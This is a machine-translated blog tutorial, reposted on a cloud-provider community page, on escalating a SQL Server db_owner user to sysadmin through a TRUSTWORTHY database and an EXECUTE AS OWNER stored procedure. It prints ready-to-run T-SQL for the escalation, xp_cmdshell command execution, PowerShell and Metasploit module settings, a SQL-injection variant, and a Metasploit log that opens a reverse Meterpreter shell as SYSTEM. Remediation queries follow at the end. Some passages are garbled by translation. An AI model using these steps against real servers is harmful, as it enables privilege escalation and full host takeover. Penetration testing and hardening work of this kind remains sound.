SQL Server Stored Procedure Hacking (I) trusted Database

Source: Internet
Author: User
Tags sql server express

SQL Server Stored Procedure Hacking (I) trusted Database

SQL Server allows DBA (Database Administrator) to set up trusted databases. In short, a trusted database can access external resources, such as network sharing, email functions, and objects in other databases. This is not always a bad thing, but when the system administrator creates a trusted database but does not reduce its permissions to a low-Permission user, the risks are exposed. In this article, I will show how to escalate permissions to the SQL Server database when database users usually create databases for Web applications and the database has improperly configured permissions. I think penetration testers, application developers, and other developers (and network security enthusiasts) will be very interested in this article. Most DBAs should already know these things.

I will provide a basic tutorial Step Guide. If you are not interested in all the chapters, you can pick them up at will. The following is a summary of the content involved in each chapter:

0x01 Setting up a Lab)

0x02 Attacking Vulnerable Databases)

0x03 automatic attacks using Power S hell (the Attack PowerShell)

0x04 automated attacks using Metasploit (the Attack Metasploit)

0x05 automated SQL Injection attacks using Me tasploit (Automating the Attack via SQL Injection with Metasploit)

0x06 (Options for Fixing the Issue)

0x01 Setting up a Lab)

Next, I will provide some basic steps for creating an SQL Server database instance to better reproduce the scenario in my article.

1. Download Microsoft SQL Server Express and Install SQL Server Management Studio. Http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx:

2. Follow the Wizard to Install SQL Server step by step. To test the SQL Server experiment, make sure that the Hybrid Authentication mode is enabled and relevant services are run with the LocalSystem permission.

3. log on to SQL Server with the "SA" account when using the SQL Server Management Studio program during installation.

4. Click "New Query" and use the following TSQL statement to create a database named "MyAPPDb.

-- Create databaseCREATE DATABASE MyAppDb -- Verify sa is the owner of the application databaseSELECT suser_sname(owner_sid)FROM sys.databasesWHERE name = 'MyAppDb'
 

 

5. Click the new query button and use the following TSQL to create an SQL Server user named "MyAppUser. In real scenarios, DBA creates an account similar to this so that web applications can connect to the database server.

 
-- Create login CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

6. Click the new query button and use the following TSQL statement to grant db_owner permission to MyAppUser of MyAppDb. In practice, DBA may do this because the SQL Server used in its web application needs to access the database it needs.

-- Setup MyAppUsers the db_owner role in MyAppDbUSE MyAppDbALTER LOGIN [MyAppUser] with default_database = [MyAppDb];CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];EXEC sp_addrolemember [db_owner], [MyAppUser];
 

7. Check that the db_owner permission has been added to MyAppUser.

-- Verify the user was added as db_ownerselect rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
 

8. Set the MyAppDb database to trusted.

 
ALTER DATABASE MyAppDb SET TRUSTWORTHY ON

9. The following query statement returns all the databases in the SQL Server instance. The MyAppDb and MSDB databases are marked as trusted databases (is_trustworthy_on is 1 to be trusted ).

SELECT a.name,b.is_trustworthy_onFROM master..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;
 

10. Use the following TSQL statement to enable xp_cmdshell. Enabling this will simplify our experiment. Even if we do not enable it, it may be enabled by attackers (this is what we do in ms SQL ).

 
-- Enable show optionsEXEC sp_configure 'show advanced options',1RECONFIGUREGO -- Enable xp_cmdshellEXEC sp_configure 'xp_cmdshell',1RECONFIGUREGO
0x02 Attacking Vulnerable Databases)

 

According to Microsoft, when a system administrator configures the permissions of a trusted database, it intentionally or unintentionally causes privileged accounts to escalate their permissions. According to my observation, this sentence is sometimes correct. In fact, in some scenarios, it may also be possible for non-privileged users to escalate their permissions. I will introduce it in subsequent blog posts. Now you can follow the instructions below to upgrade MyAppUser

The user has permissions.

Note: The tests are performed in SQL Server versions 2012 and, but are not performed in other versions.

1. Use the MyAppUser user to log on to SQL Server, and then execute the following TSQL statement to create a stored procedure named sp_elevate_me.

This stored procedure runs under the OWNER permission. In this case, the sa account is used to run the stored procedure. Because Log On with the sa permission, MyAppUser may be added to the system administrator group.

In addition, this is really possible, because when the database is configured as trusted, the db_owner role can create any stored procedure in the database.

-- Create a stored procedure to add MyAppUser to sysadmin roleUSE MyAppDbGOCREATE PROCEDURE sp_elevate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember 'MyAppUser','sysadmin'GO
 

2. Confirm that MyAppUser is not the system administrator.

--Verify MyAppUser is not a sysadminSELECT is_srvrolemember('sysadmin')

3. Run the sp_elevate_me stored procedure and add the sysadmin role to the MyAppUser.

 
-- Execute stored procedure to get sysadmin roleUSE MyAppDbEXEC sp_elevate_me

4. Finally, let's check whether the MyAppUser user has the system administrator privilege. (Apparently, the above stored procedure has been successfully executed and the sysadmin permission is available)

 
-- Verify sysadmin role was addedSELECT is_srvrolemember('sysadmin')

5. Now that we have the system administrator privilege, we can execute the commands of the operating system, as we often use the following.

-- Verify sysadmin roleEXEC master..xp_cmdshell 'whoami'
 

 

If you still have questions about the details of this process, please view my quick breakdown as follows:

1) The sa account is the DBO (database owner) owner of the database MyAppDb)

2) The MyAppUser has the db_owner permission in the MyAppDb database. That is to say, the MyAppUser has the administrative permission of administrative in this database.

3) because the MyAppUser account is essentially the administrator of the MyAppDb database, it can execute our stored procedure like the Owner permission.

4) in the above example, we simply use the OWNER permission to execute a stored procedure (log on using the sa user in this case) and add the MyAppUser to the system administrator group. Very nice. Now we have the Sysadmin permission!

0x03 automatic attacks using Power S hell (the Attack PowerShell)

I will release a small PowerShell script to implement the automated attack described above. The following shows some of its basic operations.

If you are interested, you can download it here.

It supports adding the current user to the Sysadmin group, or creating a new user with Sysadmin permissions. For more details, refer to the help documentation.

 
Import-Module  .\Invoke-SqlServerDbElevateDbOwner.psm1Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

0x04 automated attacks using Metasploit (the Attack Metasploit)

I know some of my friends like Metasploit, so I also have an automated attack auxiliary module.

This is very useful in the Intranet penetration test.

First, thanks to the help of Juan Vazquez, Joshua Smith, and Spencer McIntrye, this module can be used to access the Metasploit framework.

The following are the basic operation steps.

1. Type "msfupdate" in Kali to update the latest Metasploit Framework from Rapid7.

 

2. Run "msfconsole" in the terminal window"

3. Select and configure this module to replace all the following information with your target information.

 
use auxiliary/admin/mssql/mssql_esclate_dbownerset rhost 172.20.10.2set rport 1433set username db1_ownerset password MyPassword!

4. Run the show options command to check that all parameters are correctly configured.

5. If everything is ready, start running.

6. Now you can use a module like "mssql_payload" to get the shell.

msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payloadmsf exploit(mssql_payload) > set rhost 172.20.10.2rhost => 172.20.10.2msf exploit(mssql_payload) > set rport 1433rport => 1433msf exploit(mssql_payload) > set username db1_ownerusername => db1_ownermsf exploit(mssql_payload) > set password MyPassword!password => MyPassword!msf exploit(mssql_payload) > exploit [*] Started reverse handler on 192.168.91.128:4444[*] The server may have xp_cmdshell disabled, trying to enable it...[*] Command Stager progress -   1.47% done (1499/102246 bytes)...[SNIP]...[*] Sending stage (769536 bytes) to 192.168.91.1[*] Command Stager progress - 100.00% done (102246/102246 bytes)[*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500 meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > 
 

0x05 automated SQL Injection attacks using Me tasploit (Automating the Attack via SQL Injection with Metasploit)

In the Internet penetration test, we did not see a lot of SQL Servers, but we often find a lot of SQL injection. That's why I wrote this module.

Thanks again to Juan Vazquez and Joshua Smith for helping me add this module to the Metasploit big framework.

The following are some basic steps:

1. Type "msfupdate" in Kali to update the latest Metasploit Framework from Rapid7.

 

2. Run "msfconsole" in the terminal window"

 

3. Select and configure this module, but remember to replace the target information.

 
use auxiliary/admin/mssql/mssql_esclate_dbowner_sqliset rhost 10.2.9.101set rport 80set GET_PATH /employee.asp?id=1+and+1=[SQLi];--

4. Run the show options command to check that all parameters are correctly configured.


6. Now you can use other modules such as "mssql_payload_sqli" or use PowerShell to rebound and obtain the shells.

0x06 (Options for Fixing the Issue)

Microsoft has some good suggestions to help prevent such attacks, so I suggest viewing their website for more information.

Naturally, the repair solution is very dependent on the development environment and web applications. Next, you will have some options to help you fix them step by step.

Check the databases that are set to "TRUSTWORTHY" and have sysadmin permissions.

 
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAMEFROM sys.server_principals rINNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_idINNER JOIN sys.server_principals p ONp.principal_id = m.member_principal_idinner join sys.databases d on suser_sname(d.owner_sid) = p.nameWHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

If possible, set TRUSTWORTHY of the affected database to off (including MSDB ).

This can help prevent the stored procedure from executing xp_mongoshell and some other malicious operations. It will also execute a sandbox that allows only stored procedures to query their own database information.

 
ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF

In addition, ensure that the user in the database is not the sysadmin permission. If your application needs to access objects and CLR Stored Procedures from external databases, there are some workarounds below to replace trusted databases. Other common options include:

 

1) enable "cross db ownership chain", but this also has its own risks.

 

2) When assigning permissions to external objects, you should select the required permissions based on different application groups, but this is troublesome for management.

3) use the authenticated user and certificate to sign the stored procedure when you need to access external objects.

End (Wrap Up)

This blog post mainly helps penetration testers, developers, and dev-ops understand some common SQL Server misconfigurations, which can lead to the collapse of the entire SQL Server entity.

Attacks can be directly connected through databases, but most likely through SQL injection to web, desktop programs, and mobile applications. Finally, I hope you will like this article!

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.